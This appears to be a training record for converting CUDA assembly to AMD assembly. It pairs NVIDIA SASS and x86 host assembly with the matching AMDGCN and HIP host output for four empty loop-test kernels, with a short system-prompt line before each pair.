.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z10test_whilev"
.size .L__unnamed_1, 16
.type .L__unnamed_2,@object # @1
.L__unnamed_2:
.asciz "_Z16test_large_whilev"
.size .L__unnamed_2, 22
.type .L__unnamed_3,@object # @2
.L__unnamed_3:
.asciz "_Z29test_statements_in_while_bodyv"
.size .L__unnamed_3, 35
.type .L__unnamed_4,@object # @3
.L__unnamed_4:
.asciz "_Z8test_forv"
.size .L__unnamed_4, 13
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z25__device_stub__test_whilev
.addrsig_sym _Z31__device_stub__test_large_whilev
.addrsig_sym _Z44__device_stub__test_statements_in_while_bodyv
.addrsig_sym _Z23__device_stub__test_forv
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z10test_whilev
.addrsig_sym _Z16test_large_whilev
.addrsig_sym _Z29test_statements_in_while_bodyv
.addrsig_sym _Z8test_forv
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z8test_forv
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z29test_statements_in_while_bodyv
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z16test_large_whilev
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z10test_whilev
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z10test_whilev
.globl _Z10test_whilev
.p2align 8
.type _Z10test_whilev,@function
_Z10test_whilev:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z10test_whilev
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z10test_whilev, .Lfunc_end0-_Z10test_whilev
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z16test_large_whilev
.globl _Z16test_large_whilev
.p2align 8
.type _Z16test_large_whilev,@function
_Z16test_large_whilev:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z16test_large_whilev
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end1:
.size _Z16test_large_whilev, .Lfunc_end1-_Z16test_large_whilev
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z29test_statements_in_while_bodyv
.globl _Z29test_statements_in_while_bodyv
.p2align 8
.type _Z29test_statements_in_while_bodyv,@function
_Z29test_statements_in_while_bodyv:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z29test_statements_in_while_bodyv
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end2:
.size _Z29test_statements_in_while_bodyv, .Lfunc_end2-_Z29test_statements_in_while_bodyv
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z8test_forv
.globl _Z8test_forv
.p2align 8
.type _Z8test_forv,@function
_Z8test_forv:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z8test_forv
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end3:
.size _Z8test_forv, .Lfunc_end3-_Z8test_forv
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z10test_whilev
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z10test_whilev.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z16test_large_whilev
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z16test_large_whilev.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z29test_statements_in_while_bodyv
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z29test_statements_in_while_bodyv.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z8test_forv
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z8test_forv.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00087129_00000000-6_test_loops.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z29__device_stub__Z10test_whilevv
.type _Z29__device_stub__Z10test_whilevv, @function
_Z29__device_stub__Z10test_whilevv:
.LFB2051:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z10test_whilev(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z29__device_stub__Z10test_whilevv, .-_Z29__device_stub__Z10test_whilevv
.globl _Z10test_whilev
.type _Z10test_whilev, @function
_Z10test_whilev:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z10test_whilevv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z10test_whilev, .-_Z10test_whilev
.globl _Z35__device_stub__Z16test_large_whilevv
.type _Z35__device_stub__Z16test_large_whilevv, @function
_Z35__device_stub__Z16test_large_whilevv:
.LFB2053:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L15
.L11:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L16
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z16test_large_whilev(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L11
.L16:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2053:
.size _Z35__device_stub__Z16test_large_whilevv, .-_Z35__device_stub__Z16test_large_whilevv
.globl _Z16test_large_whilev
.type _Z16test_large_whilev, @function
_Z16test_large_whilev:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z16test_large_whilevv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _Z16test_large_whilev, .-_Z16test_large_whilev
.globl _Z48__device_stub__Z29test_statements_in_while_bodyvv
.type _Z48__device_stub__Z29test_statements_in_while_bodyvv, @function
_Z48__device_stub__Z29test_statements_in_while_bodyvv:
.LFB2055:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L23
.L19:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L24
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L23:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z29test_statements_in_while_bodyv(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L19
.L24:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2055:
.size _Z48__device_stub__Z29test_statements_in_while_bodyvv, .-_Z48__device_stub__Z29test_statements_in_while_bodyvv
.globl _Z29test_statements_in_while_bodyv
.type _Z29test_statements_in_while_bodyv, @function
_Z29test_statements_in_while_bodyv:
.LFB2056:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z48__device_stub__Z29test_statements_in_while_bodyvv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2056:
.size _Z29test_statements_in_while_bodyv, .-_Z29test_statements_in_while_bodyv
.globl _Z26__device_stub__Z8test_forvv
.type _Z26__device_stub__Z8test_forvv, @function
_Z26__device_stub__Z8test_forvv:
.LFB2057:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L31
.L27:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L32
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L31:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z8test_forv(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L27
.L32:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size _Z26__device_stub__Z8test_forvv, .-_Z26__device_stub__Z8test_forvv
.globl _Z8test_forv
.type _Z8test_forv, @function
_Z8test_forv:
.LFB2058:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z26__device_stub__Z8test_forvv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2058:
.size _Z8test_forv, .-_Z8test_forv
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z8test_forv"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC1:
.string "_Z29test_statements_in_while_bodyv"
.section .rodata.str1.1
.LC2:
.string "_Z16test_large_whilev"
.LC3:
.string "_Z10test_whilev"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2060:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z8test_forv(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC1(%rip), %rdx
movq %rdx, %rcx
leaq _Z29test_statements_in_while_bodyv(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC2(%rip), %rdx
movq %rdx, %rcx
leaq _Z16test_large_whilev(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC3(%rip), %rdx
movq %rdx, %rcx
leaq _Z10test_whilev(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
